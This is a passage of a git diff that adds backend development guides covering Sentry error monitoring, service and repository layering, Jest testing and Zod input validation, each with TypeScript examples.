(event.request?.headers) { + delete event.request.headers['authorization']; + delete event.request.headers['cookie']; + } + + // Mask emails for PII + if (event.user?.email) { + event.user.email = event.user.email.replace(/^(.{2}).*(@.*)$/, '$1***$2'); + } + + return event; + }, + + ignoreErrors: [ + /^Invalid JWT/, + /^JWT expired/, + 'NetworkError', + ], +}); + +// Set service context +Sentry.setTags({ + service: 'form', + version: '1.0.1', +}); + +Sentry.setContext('runtime', { + node_version: process.version, + platform: process.platform, +}); +``` + +**Critical Points:** +- PII protection built-in (beforeSend) +- Filter non-critical errors +- Comprehensive integrations +- Prisma instrumentation +- Service-specific tagging + +--- + +## Error Capture Patterns + +### 1. BaseController Pattern + +```typescript +// Use BaseController.handleError +protected handleError(error: unknown, res: Response, context: string, statusCode = 500): void { + Sentry.withScope((scope) => { + scope.setTag('controller', this.constructor.name); + scope.setTag('operation', context); + scope.setUser({ id: res.locals?.claims?.userId }); + Sentry.captureException(error); + }); + + res.status(statusCode).json({ + success: false, + error: { message: error instanceof Error ? error.message : 'Error occurred' } + }); +} +``` + +### 2. Workflow Error Handling + +```typescript +import { SentryHelper } from '../utils/sentryHelper'; + +try { + await businessOperation(); +} catch (error) { + SentryHelper.captureOperationError(error, { + operationType: 'POST_CREATION', + entityId: 123, + userId: 'user-123', + operation: 'createPost', + }); + throw error; +} +``` + +### 3. Service Layer Error Handling + +```typescript +try { + await someOperation(); +} catch (error) { + Sentry.captureException(error, { + tags: { + service: 'form', + operation: 'someOperation' + }, + extra: { + userId: currentUser.id, + entityId: 123 + } + }); + throw error; +} +``` + +--- + +## Performance Monitoring + +### Database Performance Tracking + +```typescript +import { DatabasePerformanceMonitor } from '../utils/databasePerformance'; + +const result = await DatabasePerformanceMonitor.withPerformanceTracking( + 'findMany', + 'UserProfile', + async () => { + return await PrismaService.main.userProfile.findMany({ take: 5 }); + } +); +``` + +### API Endpoint Spans + +```typescript +router.post('/operation', async (req, res) => { + return await Sentry.startSpan({ + name: 'operation.execute', + op: 'http.server', + attributes: { + 'http.method': 'POST', + 'http.route': '/operation' + } + }, async () => { + const result = await performOperation(); + res.json(result); + }); +}); +``` + +--- + +## Cron Job Monitoring + +### Mandatory Pattern + +```typescript +#!/usr/bin/env node +import '../instrument'; // FIRST LINE after shebang +import * as Sentry from '@sentry/node'; + +async function main() { + return await Sentry.startSpan({ + name: 'cron.job-name', + op: 'cron', + attributes: { + 'cron.job': 'job-name', + 'cron.startTime': new Date().toISOString(), + } + }, async () => { + try { + // Cron job logic here + } catch (error) { + Sentry.captureException(error, { + tags: { + 'cron.job': 'job-name', + 'error.type': 'execution_error' + } + }); + console.error('[Cron] Error:', error); + process.exit(1); + } + }); +} + +main().then(() => { + console.log('[Cron] Completed successfully'); + process.exit(0); +}).catch((error) => { + console.error('[Cron] Fatal error:', error); + process.exit(1); +}); +``` + +--- + +## Error Context Best Practices + +### Rich Context Example + +```typescript +Sentry.withScope((scope) => { + // User context + scope.setUser({ + id: user.id, + email: user.email, + username: user.username + }); + + // Tags for filtering + scope.setTag('service', 'form'); + scope.setTag('endpoint', req.path); + scope.setTag('method', req.method); + + // Structured context + scope.setContext('operation', { + type: 'workflow.complete', + workflowId: 123, + stepId: 456 + }); + + // Breadcrumbs for timeline + scope.addBreadcrumb({ + category: 'workflow', + message: 'Starting step completion', + level: 'info', + data: { stepId: 456 } + }); + + Sentry.captureException(error); +}); +``` + +--- + +## Common Mistakes + +```typescript +// ❌ Swallowing errors +try { + await riskyOperation(); +} catch (error) { + // Silent failure +} + +// ❌ Generic error messages +throw new Error('Error occurred'); + +// ❌ Exposing sensitive data +Sentry.captureException(error, { + extra: { password: user.password } // NEVER +}); + +// ❌ Missing async error handling +async function bad() { + fetchData().then(data => processResult(data)); // Unhandled +} + +// ✅ Proper async handling +async function good() { + try { + const data = await fetchData(); + processResult(data); + } catch (error) { + Sentry.captureException(error); + throw error; + } +} +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) +- [routing-and-controllers.md](routing-and-controllers.md) +- [async-and-errors.md](async-and-errors.md) diff --git a/skills/backend-dev-guidelines/resources/services-and-repositories.md b/skills/backend-dev-guidelines/resources/services-and-repositories.md new file mode 100644 index 00000000..749b26b6 --- /dev/null +++ b/skills/backend-dev-guidelines/resources/services-and-repositories.md @@ -0,0 +1,789 @@ +# Services and Repositories - Business Logic Layer + +Complete guide to organizing business logic with services and data access with repositories. + +## Table of Contents + +- [Service Layer Overview](#service-layer-overview) +- [Dependency Injection Pattern](#dependency-injection-pattern) +- [Singleton Pattern](#singleton-pattern) +- [Repository Pattern](#repository-pattern) +- [Service Design Principles](#service-design-principles) +- [Caching Strategies](#caching-strategies) +- [Testing Services](#testing-services) + +--- + +## Service Layer Overview + +### Purpose of Services + +**Services contain business logic** - the 'what' and 'why' of your application: + +``` +Controller asks: "Should I do this?" +Service answers: "Yes/No, here's why, and here's what happens" +Repository executes: "Here's the data you requested" +``` + +**Services are responsible for:** +- ✅ Business rules enforcement +- ✅ Orchestrating multiple repositories +- ✅ Transaction management +- ✅ Complex calculations +- ✅ External service integration +- ✅ Business validations + +**Services should NOT:** +- ❌ Know about HTTP (Request/Response) +- ❌ Direct Prisma access (use repositories) +- ❌ Handle route-specific logic +- ❌ Format HTTP responses + +--- + +## Dependency Injection Pattern + +### Why Dependency Injection? + +**Benefits:** +- Easy to test (inject mocks) +- Clear dependencies +- Flexible configuration +- Promotes loose coupling + +### Excellent Example: NotificationService + +**File:** `/blog-api/src/services/NotificationService.ts` + +```typescript +// Define dependencies interface for clarity +export interface NotificationServiceDependencies { + prisma: PrismaClient; + batchingService: BatchingService; + emailComposer: EmailComposer; +} + +// Service with dependency injection +export class NotificationService { + private prisma: PrismaClient; + private batchingService: BatchingService; + private emailComposer: EmailComposer; + private preferencesCache: Map = new Map(); + private CACHE_TTL = (notificationConfig.preferenceCacheTTLMinutes || 5) * 60 * 1000; + + // Dependencies injected via constructor + constructor(dependencies: NotificationServiceDependencies) { + this.prisma = dependencies.prisma; + this.batchingService = dependencies.batchingService; + this.emailComposer = dependencies.emailComposer; + } + + /** + * Create a notification and route it appropriately + */ + async createNotification(params: CreateNotificationParams) { + const { recipientID, type, title, message, link, context = {}, channel = 'both', priority = NotificationPriority.NORMAL } = params; + + try { + // Get template and render content + const template = getNotificationTemplate(type); + const rendered = renderNotificationContent(template, context); + + // Create in-app notification record + const notificationId = await createNotificationRecord({ + instanceId: parseInt(context.instanceId || '0', 10), + template: type, + recipientUserId: recipientID, + channel: channel === 'email' ? 'email' : 'inApp', + contextData: context, + title: finalTitle, + message: finalMessage, + link: finalLink, + }); + + // Route notification based on channel + if (channel === 'email' || channel === 'both') { + await this.routeNotification({ + notificationId, + userId: recipientID, + type, + priority, + title: finalTitle, + message: finalMessage, + link: finalLink, + context, + }); + } + + return notification; + } catch (error) { + ErrorLogger.log(error, { + context: { + '[NotificationService] createNotification': { + type: params.type, + recipientID: params.recipientID, + }, + }, + }); + throw error; + } + } + + /** + * Route notification based on user preferences + */ + private async routeNotification(params: { notificationId: number; userId: string; type: string; priority: NotificationPriority; title: string; message: string; link?: string; context?: Record }) { + // Get user preferences with caching + const preferences = await this.getUserPreferences(params.userId); + + // Check if we should batch or send immediately + if (this.shouldBatchEmail(preferences, params.type, params.priority)) { + await this.batchingService.queueNotificationForBatch({ + notificationId: params.notificationId, + userId: params.userId, + userPreference: preferences, + priority: params.priority, + }); + } else { + // Send immediately via EmailComposer + await this.sendImmediateEmail({ + userId: params.userId, + title: params.title, + message: params.message, + link: params.link, + context: params.context, + type: params.type, + }); + } + } + + /** + * Determine if email should be batched + */ + shouldBatchEmail(preferences: UserPreference, notificationType: string, priority: NotificationPriority): boolean { + // HIGH priority always immediate + if (priority === NotificationPriority.HIGH) { + return false; + } + + // Check batch mode + const batchMode = preferences.emailBatchMode || BatchMode.IMMEDIATE; + return batchMode !== BatchMode.IMMEDIATE; + } + + /** + * Get user preferences with caching + */ + async getUserPreferences(userId: string): Promise { + // Check cache first + const cached = this.preferencesCache.get(userId); + if (cached && Date.now() - cached.timestamp < this.CACHE_TTL) { + return cached.preferences; + } + + const preference = await this.prisma.userPreference.findUnique({ + where: { userID: userId }, + }); + + const finalPreferences = preference || DEFAULT_PREFERENCES; + + // Update cache + this.preferencesCache.set(userId, { + preferences: finalPreferences, + timestamp: Date.now(), + }); + + return finalPreferences; + } +} +``` + +**Usage in Controller:** + +```typescript +// Instantiate with dependencies +const notificationService = new NotificationService({ + prisma: PrismaService.main, + batchingService: new BatchingService(PrismaService.main), + emailComposer: new EmailComposer(), +}); + +// Use in controller +const notification = await notificationService.createNotification({ + recipientID: 'user-123', + type: 'AFRLWorkflowNotification', + context: { workflowName: 'AFRL Monthly Report' }, +}); +``` + +**Key Takeaways:** +- Dependencies passed via constructor +- Clear interface defines required dependencies +- Easy to test (inject mocks) +- Encapsulated caching logic +- Business rules isolated from HTTP + +--- + +## Singleton Pattern + +### When to Use Singletons + +**Use for:** +- Services with expensive initialization +- Services with shared state (caching) +- Services accessed from many places +- Permission services +- Configuration services + +### Example: PermissionService (Singleton) + +**File:** `/blog-api/src/services/permissionService.ts` + +```typescript +import { PrismaClient } from '@prisma/client'; + +class PermissionService { + private static instance: PermissionService; + private prisma: PrismaClient; + private permissionCache: Map = new Map(); + private CACHE_TTL = 5 * 60 * 1000; // 5 minutes + + // Private constructor prevents direct instantiation + private constructor() { + this.prisma = PrismaService.main; + } + + // Get singleton instance + public static getInstance(): PermissionService { + if (!PermissionService.instance) { + PermissionService.instance = new PermissionService(); + } + return PermissionService.instance; + } + + /** + * Check if user can complete a workflow step + */ + async canCompleteStep(userId: string, stepInstanceId: number): Promise { + const cacheKey = `${userId}:${stepInstanceId}`; + + // Check cache + const cached = this.permissionCache.get(cacheKey); + if (cached && Date.now() - cached.timestamp < this.CACHE_TTL) { + return cached.canAccess; + } + + try { + const post = await this.prisma.post.findUnique({ + where: { id: postId }, + include: { + author: true, + comments: { + include: { + user: true, + }, + }, + }, + }); + + if (!post) { + return false; + } + + // Check if user has permission + const canEdit = post.authorId === userId || + await this.isUserAdmin(userId); + + // Cache result + this.permissionCache.set(cacheKey, { + canAccess: isAssigned, + timestamp: Date.now(), + }); + + return isAssigned; + } catch (error) { + console.error('[PermissionService] Error checking step permission:', error); + return false; + } + } + + /** + * Clear cache for user + */ + clearUserCache(userId: string): void { + for (const [key] of this.permissionCache) { + if (key.startsWith(`${userId}:`)) { + this.permissionCache.delete(key); + } + } + } + + /** + * Clear all cache + */ + clearCache(): void { + this.permissionCache.clear(); + } +} + +// Export singleton instance +export const permissionService = PermissionService.getInstance(); +``` + +**Usage:** + +```typescript +import { permissionService } from '../services/permissionService'; + +// Use anywhere in the codebase +const canComplete = await permissionService.canCompleteStep(userId, stepId); + +if (!canComplete) { + throw new ForbiddenError('You do not have permission to complete this step'); +} +``` + +--- + +## Repository Pattern + +### Purpose of Repositories + +**Repositories abstract data access** - the 'how' of data operations: + +``` +Service: "Get me all active users sorted by name" +Repository: "Here's the Prisma query that does that" +``` + +**Repositories are responsible for:** +- ✅ All Prisma operations +- ✅ Query construction +- ✅ Query optimization (select, include) +- ✅ Database error handling +- ✅ Caching database results + +**Repositories should NOT:** +- ❌ Contain business logic +- ❌ Know about HTTP +- ❌ Make decisions (that's service layer) + +### Repository Template + +```typescript +// repositories/UserRepository.ts +import { PrismaService } from '@project-lifecycle-portal/database'; +import type { User, Prisma } from '@project-lifecycle-portal/database'; + +export class UserRepository { + /** + * Find user by ID with optimized query + */ + async findById(userId: string): Promise { + try { + return await PrismaService.main.user.findUnique({ + where: { userID: userId }, + select: { + userID: true, + email: true, + name: true, + isActive: true, + roles: true, + createdAt: true, + updatedAt: true, + }, + }); + } catch (error) { + console.error('[UserRepository] Error finding user by ID:', error); + throw new Error(`Failed to find user: ${userId}`); + } + } + + /** + * Find all active users + */ + async findActive(options?: { orderBy?: Prisma.UserOrderByWithRelationInput }): Promise { + try { + return await PrismaService.main.user.findMany({ + where: { isActive: true }, + orderBy: options?.orderBy || { name: 'asc' }, + select: { + userID: true, + email: true, + name: true, + roles: true, + }, + }); + } catch (error) { + console.error('[UserRepository] Error finding active users:', error); + throw new Error('Failed to find active users'); + } + } + + /** + * Find user by email + */ + async findByEmail(email: string): Promise { + try { + return await PrismaService.main.user.findUnique({ + where: { email }, + }); + } catch (error) { + console.error('[UserRepository] Error finding user by email:', error); + throw new Error(`Failed to find user with email: ${email}`); + } + } + + /** + * Create new user + */ + async create(data: Prisma.UserCreateInput): Promise { + try { + return await PrismaService.main.user.create({ data }); + } catch (error) { + console.error('[UserRepository] Error creating user:', error); + throw new Error('Failed to create user'); + } + } + + /** + * Update user + */ + async update(userId: string, data: Prisma.UserUpdateInput): Promise { + try { + return await PrismaService.main.user.update({ + where: { userID: userId }, + data, + }); + } catch (error) { + console.error('[UserRepository] Error updating user:', error); + throw new Error(`Failed to update user: ${userId}`); + } + } + + /** + * Delete user (soft delete by setting isActive = false) + */ + async delete(userId: string): Promise { + try { + return await PrismaService.main.user.update({ + where: { userID: userId }, + data: { isActive: false }, + }); + } catch (error) { + console.error('[UserRepository] Error deleting user:', error); + throw new Error(`Failed to delete user: ${userId}`); + } + } + + /** + * Check if email exists + */ + async emailExists(email: string): Promise { + try { + const count = await PrismaService.main.user.count({ + where: { email }, + }); + return count > 0; + } catch (error) { + console.error('[UserRepository] Error checking email exists:', error); + throw new Error('Failed to check if email exists'); + } + } +} + +// Export singleton instance +export const userRepository = new UserRepository(); +``` + +**Using Repository in Service:** + +```typescript +// services/userService.ts +import { userRepository } from '../repositories/UserRepository'; +import { ConflictError, NotFoundError } from '../utils/errors'; + +export class UserService { + /** + * Create new user with business rules + */ + async createUser(data: { email: string; name: string; roles: string[] }): Promise { + // Business rule: Check if email already exists + const emailExists = await userRepository.emailExists(data.email); + if (emailExists) { + throw new ConflictError('Email already exists'); + } + + // Business rule: Validate roles + const validRoles = ['admin', 'operations', 'user']; + const invalidRoles = data.roles.filter((role) => !validRoles.includes(role)); + if (invalidRoles.length > 0) { + throw new ValidationError(`Invalid roles: ${invalidRoles.join(', ')}`); + } + + // Create user via repository + return await userRepository.create({ + email: data.email, + name: data.name, + roles: data.roles, + isActive: true, + }); + } + + /** + * Get user by ID + */ + async getUser(userId: string): Promise { + const user = await userRepository.findById(userId); + + if (!user) { + throw new NotFoundError(`User not found: ${userId}`); + } + + return user; + } +} +``` + +--- + +## Service Design Principles + +### 1. Single Responsibility + +Each service should have ONE clear purpose: + +```typescript +// ✅ GOOD - Single responsibility +class UserService { + async createUser() {} + async updateUser() {} + async deleteUser() {} +} + +class EmailService { + async sendEmail() {} + async sendBulkEmails() {} +} + +// ❌ BAD - Too many responsibilities +class UserService { + async createUser() {} + async sendWelcomeEmail() {} // Should be EmailService + async logUserActivity() {} // Should be AuditService + async processPayment() {} // Should be PaymentService +} +``` + +### 2. Clear Method Names + +Method names should describe WHAT they do: + +```typescript +// ✅ GOOD - Clear intent +async createNotification() +async getUserPreferences() +async shouldBatchEmail() +async routeNotification() + +// ❌ BAD - Vague or misleading +async process() +async handle() +async doIt() +async execute() +``` + +### 3. Return Types + +Always use explicit return types: + +```typescript +// ✅ GOOD - Explicit types +async createUser(data: CreateUserDTO): Promise {} +async findUsers(): Promise {} +async deleteUser(id: string): Promise {} + +// ❌ BAD - Implicit any +async createUser(data) {} // No types! +``` + +### 4. Error Handling + +Services should throw meaningful errors: + +```typescript +// ✅ GOOD - Meaningful errors +if (!user) { + throw new NotFoundError(`User not found: ${userId}`); +} + +if (emailExists) { + throw new ConflictError('Email already exists'); +} + +// ❌ BAD - Generic errors +if (!user) { + throw new Error('Error'); // What error? +} +``` + +### 5. Avoid God Services + +Don't create services that do everything: + +```typescript +// ❌ BAD - God service +class WorkflowService { + async startWorkflow() {} + async completeStep() {} + async assignRoles() {} + async sendNotifications() {} // Should be NotificationService + async validatePermissions() {} // Should be PermissionService + async logAuditTrail() {} // Should be AuditService + // ... 50 more methods +} + +// ✅ GOOD - Focused services +class WorkflowService { + constructor( + private notificationService: NotificationService, + private permissionService: PermissionService, + private auditService: AuditService + ) {} + + async startWorkflow() { + // Orchestrate other services + await this.permissionService.checkPermission(); + await this.workflowRepository.create(); + await this.notificationService.notify(); + await this.auditService.log(); + } +} +``` + +--- + +## Caching Strategies + +### 1. In-Memory Caching + +```typescript +class UserService { + private cache: Map = new Map(); + private CACHE_TTL = 5 * 60 * 1000; // 5 minutes + + async getUser(userId: string): Promise { + // Check cache + const cached = this.cache.get(userId); + if (cached && Date.now() - cached.timestamp < this.CACHE_TTL) { + return cached.user; + } + + // Fetch from database + const user = await userRepository.findById(userId); + + // Update cache + if (user) { + this.cache.set(userId, { user, timestamp: Date.now() }); + } + + return user; + } + + clearUserCache(userId: string): void { + this.cache.delete(userId); + } +} +``` + +### 2. Cache Invalidation + +```typescript +class UserService { + async updateUser(userId: string, data: UpdateUserDTO): Promise { + // Update in database + const user = await userRepository.update(userId, data); + + // Invalidate cache + this.clearUserCache(userId); + + return user; + } +} +``` + +--- + +## Testing Services + +### Unit Tests + +```typescript +// tests/userService.test.ts +import { UserService } from '../services/userService'; +import { userRepository } from '../repositories/UserRepository'; +import { ConflictError } from '../utils/errors'; + +// Mock repository +jest.mock('../repositories/UserRepository'); + +describe('UserService', () => { + let userService: UserService; + + beforeEach(() => { + userService = new UserService(); + jest.clearAllMocks(); + }); + + describe('createUser', () => { + it('should create user when email does not exist', async () => { + // Arrange + const userData = { + email: 'test@example.com', + name: 'Test User', + roles: ['user'], + }; + + (userRepository.emailExists as jest.Mock).mockResolvedValue(false); + (userRepository.create as jest.Mock).mockResolvedValue({ + userID: '123', + ...userData, + }); + + // Act + const user = await userService.createUser(userData); + + // Assert + expect(user).toBeDefined(); + expect(user.email).toBe(userData.email); + expect(userRepository.emailExists).toHaveBeenCalledWith(userData.email); + expect(userRepository.create).toHaveBeenCalled(); + }); + + it('should throw ConflictError when email exists', async () => { + // Arrange + const userData = { + email: 'existing@example.com', + name: 'Test User', + roles: ['user'], + }; + + (userRepository.emailExists as jest.Mock).mockResolvedValue(true); + + // Act & Assert + await expect(userService.createUser(userData)).rejects.toThrow(ConflictError); + expect(userRepository.create).not.toHaveBeenCalled(); + }); + }); +}); +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) - Main guide +- [routing-and-controllers.md](routing-and-controllers.md) - Controllers that use services +- [database-patterns.md](database-patterns.md) - Prisma and repository patterns +- [complete-examples.md](complete-examples.md) - Full service/repository examples diff --git a/skills/backend-dev-guidelines/resources/testing-guide.md b/skills/backend-dev-guidelines/resources/testing-guide.md new file mode 100644 index 00000000..21e3820d --- /dev/null +++ b/skills/backend-dev-guidelines/resources/testing-guide.md @@ -0,0 +1,235 @@ +# Testing Guide - Backend Testing Strategies + +Complete guide to testing backend services with Jest and best practices. + +## Table of Contents + +- [Unit Testing](#unit-testing) +- [Integration Testing](#integration-testing) +- [Mocking Strategies](#mocking-strategies) +- [Test Data Management](#test-data-management) +- [Testing Authenticated Routes](#testing-authenticated-routes) +- [Coverage Targets](#coverage-targets) + +--- + +## Unit Testing + +### Test Structure + +```typescript +// services/userService.test.ts +import { UserService } from './userService'; +import { UserRepository } from '../repositories/UserRepository'; + +jest.mock('../repositories/UserRepository'); + +describe('UserService', () => { + let service: UserService; + let mockRepository: jest.Mocked; + + beforeEach(() => { + mockRepository = { + findByEmail: jest.fn(), + create: jest.fn(), + } as any; + + service = new UserService(); + (service as any).userRepository = mockRepository; + }); + + afterEach(() => { + jest.clearAllMocks(); + }); + + describe('create', () => { + it('should throw error if email exists', async () => { + mockRepository.findByEmail.mockResolvedValue({ id: '123' } as any); + + await expect( + service.create({ email: 'test@test.com' }) + ).rejects.toThrow('Email already in use'); + }); + + it('should create user if email is unique', async () => { + mockRepository.findByEmail.mockResolvedValue(null); + mockRepository.create.mockResolvedValue({ id: '123' } as any); + + const user = await service.create({ + email: 'test@test.com', + firstName: 'John', + lastName: 'Doe', + }); + + expect(user).toBeDefined(); + expect(mockRepository.create).toHaveBeenCalledWith( + expect.objectContaining({ + email: 'test@test.com' + }) + ); + }); + }); +}); +``` + +--- + +## Integration Testing + +### Test with Real Database + +```typescript +import { PrismaService } from '@project-lifecycle-portal/database'; + +describe('UserService Integration', () => { + let testUser: any; + + beforeAll(async () => { + // Create test data + testUser = await PrismaService.main.user.create({ + data: { + email: 'test@test.com', + profile: { create: { firstName: 'Test', lastName: 'User' } }, + }, + }); + }); + + afterAll(async () => { + // Cleanup + await PrismaService.main.user.delete({ where: { id: testUser.id } }); + }); + + it('should find user by email', async () => { + const user = await userService.findByEmail('test@test.com'); + expect(user).toBeDefined(); + expect(user?.email).toBe('test@test.com'); + }); +}); +``` + +--- + +## Mocking Strategies + +### Mock PrismaService + +```typescript +jest.mock('@project-lifecycle-portal/database', () => ({ + PrismaService: { + main: { + user: { + findMany: jest.fn(), + findUnique: jest.fn(), + create: jest.fn(), + update: jest.fn(), + }, + }, + isAvailable: true, + }, +})); +``` + +### Mock Services + +```typescript +const mockUserService = { + findById: jest.fn(), + create: jest.fn(), + update: jest.fn(), +} as jest.Mocked; +``` + +--- + +## Test Data Management + +### Setup and Teardown + +```typescript +describe('PermissionService', () => { + let instanceId: number; + + beforeAll(async () => { + // Create test post + const post = await PrismaService.main.post.create({ + data: { title: 'Test Post', content: 'Test', authorId: 'test-user' }, + }); + instanceId = post.id; + }); + + afterAll(async () => { + // Cleanup + await PrismaService.main.post.delete({ + where: { id: instanceId }, + }); + }); + + beforeEach(() => { + // Clear caches + permissionService.clearCache(); + }); + + it('should check permissions', async () => { + const hasPermission = await permissionService.checkPermission( + 'user-id', + instanceId, + 'VIEW_WORKFLOW' + ); + expect(hasPermission).toBeDefined(); + }); +}); +``` + +--- + +## Testing Authenticated Routes + +### Using test-auth-route.js + +```bash +# Test authenticated endpoint +node scripts/test-auth-route.js http://localhost:3002/form/api/users + +# Test with POST data +node scripts/test-auth-route.js http://localhost:3002/form/api/users POST '{"email":"test@test.com"}' +``` + +### Mock Authentication in Tests + +```typescript +// Mock auth middleware +jest.mock('../middleware/SSOMiddleware', () => ({ + SSOMiddlewareClient: { + verifyLoginStatus: (req, res, next) => { + res.locals.claims = { + sub: 'test-user-id', + preferred_username: 'testuser', + }; + next(); + }, + }, +})); +``` + +--- + +## Coverage Targets + +### Recommended Coverage + +- **Unit Tests**: 70%+ coverage +- **Integration Tests**: Critical paths covered +- **E2E Tests**: Happy paths covered + +### Run Coverage + +```bash +npm test -- --coverage +``` + +--- + +**Related Files:** +- [SKILL.md](SKILL.md) +- [services-and-repositories.md](services-and-repositories.md) +- [complete-examples.md](complete-examples.md) diff --git a/skills/backend-dev-guidelines/resources/validation-patterns.md b/skills/backend-dev-guidelines/resources/validation-patterns.md new file mode 100644 index 00000000..6eceb477 --- /dev/null +++ b/skills/backend-dev-guidelines/resources/validation-patterns.md @@ -0,0 +1,754 @@ +# Validation Patterns - Input Validation with Zod + +Complete guide to input validation using Zod schemas for type-safe validation. + +## Table of Contents + +- [Why Zod?](#why-zod) +- [Basic Zod Patterns](#basic-zod-patterns) +- [Schema Examples from Codebase](#schema-examples-from-codebase) +- [Route-Level Validation](#route-level-validation) +- [Controller Validation](#controller-validation) +- [DTO Pattern](#dto-pattern) +- [Error Handling](#error-handling) +- [Advanced Patterns](#advanced-patterns) + +--- + +## Why Zod? + +### Benefits Over Joi/Other Libraries + +**Type Safety:** +- ✅ Full TypeScript inference +- ✅ Runtime + compile-time validation +- ✅ Automatic type generation + +**Developer Experience:** +- ✅ Intuitive API +- ✅ Composable schemas +- ✅ Excellent error messages + +**Performance:** +- ✅ Fast validation +- ✅ Small bundle size +- ✅ Tree-shakeable + +### Migration from Joi + +Modern validation uses Zod instead of Joi: + +```typescript +// ❌ OLD - Joi (being phased out) +const schema = Joi.object({ + email: Joi.string().email().required(), + name: Joi.string().min(3).required(), +}); + +// ✅ NEW - Zod (preferred) +const schema = z.object({ + email: z.string().email(), + name: z.string().min(3), +}); +``` + +--- + +## Basic Zod Patterns + +### Primitive Types + +```typescript +import { z } from 'zod'; + +// Strings +const nameSchema = z.string(); +const emailSchema = z.string().email(); +const urlSchema = z.string().url(); +const uuidSchema = z.string().uuid(); +const minLengthSchema = z.string().min(3); +const maxLengthSchema = z.string().max(100); + +// Numbers +const ageSchema = z.number().int().positive(); +const priceSchema = z.number().positive(); +const rangeSchema = z.number().min(0).max(100); + +// Booleans +const activeSchema = z.boolean(); + +// Dates +const dateSchema = z.string().datetime(); // ISO 8601 string +const nativeDateSchema = z.date(); // Native Date object + +// Enums +const roleSchema = z.enum(['admin', 'operations', 'user']); +const statusSchema = z.enum(['PENDING', 'APPROVED', 'REJECTED']); +``` + +### Objects + +```typescript +// Simple object +const userSchema = z.object({ + email: z.string().email(), + name: z.string(), + age: z.number().int().positive(), +}); + +// Nested objects +const addressSchema = z.object({ + street: z.string(), + city: z.string(), + zipCode: z.string().regex(/^\d{5}$/), +}); + +const userWithAddressSchema = z.object({ + name: z.string(), + address: addressSchema, +}); + +// Optional fields +const userSchema = z.object({ + name: z.string(), + email: z.string().email().optional(), + phone: z.string().optional(), +}); + +// Nullable fields +const userSchema = z.object({ + name: z.string(), + middleName: z.string().nullable(), +}); +``` + +### Arrays + +```typescript +// Array of primitives +const rolesSchema = z.array(z.string()); +const numbersSchema = z.array(z.number()); + +// Array of objects +const usersSchema = z.array( + z.object({ + id: z.string(), + name: z.string(), + }) +); + +// Array with constraints +const tagsSchema = z.array(z.string()).min(1).max(10); +const nonEmptyArray = z.array(z.string()).nonempty(); +``` + +--- + +## Schema Examples from Codebase + +### Form Validation Schemas + +**File:** `/form/src/helpers/zodSchemas.ts` + +```typescript +import { z } from 'zod'; + +// Question types enum +export const questionTypeSchema = z.enum([ + 'input', + 'textbox', + 'editor', + 'dropdown', + 'autocomplete', + 'checkbox', + 'radio', + 'upload', +]); + +// Upload types +export const uploadTypeSchema = z.array( + z.enum(['pdf', 'image', 'excel', 'video', 'powerpoint', 'word']).nullable() +); + +// Input types +export const inputTypeSchema = z + .enum(['date', 'number', 'input', 'currency']) + .nullable(); + +// Question option +export const questionOptionSchema = z.object({ + id: z.number().int().positive().optional(), + controlTag: z.string().max(150).nullable().optional(), + label: z.string().max(100).nullable().optional(), + order: z.number().int().min(0).default(0), +}); + +// Question schema +export const questionSchema = z.object({ + id: z.number().int().positive().optional(), + formID: z.number().int().positive(), + sectionID: z.number().int().positive().optional(), + options: z.array(questionOptionSchema).optional(), + label: z.string().max(500), + description: z.string().max(5000).optional(), + type: questionTypeSchema, + uploadTypes: uploadTypeSchema.optional(), + inputType: inputTypeSchema.optional(), + tags: z.array(z.string().max(150)).optional(), + required: z.boolean(), + isStandard: z.boolean().optional(), + deprecatedKey: z.string().nullable().optional(), + maxLength: z.number().int().positive().nullable().optional(), + isOptionsSorted: z.boolean().optional(), +}); + +// Form section schema +export const formSectionSchema = z.object({ + id: z.number().int().positive(), + formID: z.number().int().positive(), + questions: z.array(questionSchema).optional(), + label: z.string().max(500), + description: z.string().max(5000).optional(), + isStandard: z.boolean(), +}); + +// Create form schema +export const createFormSchema = z.object({ + id: z.number().int().positive(), + label: z.string().max(150), + description: z.string().max(6000).nullable().optional(), + isPhase: z.boolean().optional(), + username: z.string(), +}); + +// Update order schema +export const updateOrderSchema = z.object({ + source: z.object({ + index: z.number().int().min(0), + sectionID: z.number().int().min(0), + }), + destination: z.object({ + index: z.number().int().min(0), + sectionID: z.number().int().min(0), + }), +}); + +// Controller-specific validation schemas +export const createQuestionValidationSchema = z.object({ + formID: z.number().int().positive(), + sectionID: z.number().int().positive(), + question: questionSchema, + index: z.number().int().min(0).nullable().optional(), + username: z.string(), +}); + +export const updateQuestionValidationSchema = z.object({ + questionID: z.number().int().positive(), + username: z.string(), + question: questionSchema, +}); +``` + +### Proxy Relationship Schema + +```typescript +// Proxy relationship validation +const createProxySchema = z.object({ + originalUserID: z.string().min(1), + proxyUserID: z.string().min(1), + startsAt: z.string().datetime(), + expiresAt: z.string().datetime(), +}); + +// With custom validation +const createProxySchemaWithValidation = createProxySchema.refine( + (data) => new Date(data.expiresAt) > new Date(data.startsAt), + { + message: 'expiresAt must be after startsAt', + path: ['expiresAt'], + } +); +``` + +### Workflow Validation + +```typescript +// Workflow start schema +const startWorkflowSchema = z.object({ + workflowCode: z.string().min(1), + entityType: z.enum(['Post', 'User', 'Comment']), + entityID: z.number().int().positive(), + dryRun: z.boolean().optional().default(false), +}); + +// Workflow step completion schema +const completeStepSchema = z.object({ + stepInstanceID: z.number().int().positive(), + answers: z.record(z.string(), z.any()), + dryRun: z.boolean().optional().default(false), +}); +``` + +--- + +## Route-Level Validation + +### Pattern 1: Inline Validation + +```typescript +// routes/proxyRoutes.ts +import { z } from 'zod'; + +const createProxySchema = z.object({ + originalUserID: z.string().min(1), + proxyUserID: z.string().min(1), + startsAt: z.string().datetime(), + expiresAt: z.string().datetime(), +}); + +router.post( + '/', + SSOMiddlewareClient.verifyLoginStatus, + async (req, res) => { + try { + // Validate at route level + const validated = createProxySchema.parse(req.body); + + // Delegate to service + const proxy = await proxyService.createProxyRelationship(validated); + + res.status(201).json({ success: true, data: proxy }); + } catch (error) { + if (error instanceof z.ZodError) { + return res.status(400).json({ + success: false, + error: { + message: 'Validation failed', + details: error.errors, + }, + }); + } + handler.handleException(res, error); + } + } +); +``` + +**Pros:** +- Quick and simple +- Good for simple routes + +**Cons:** +- Validation logic in routes +- Harder to test +- Not reusable + +--- + +## Controller Validation + +### Pattern 2: Controller Validation (Recommended) + +```typescript +// validators/userSchemas.ts +import { z } from 'zod'; + +export const createUserSchema = z.object({ + email: 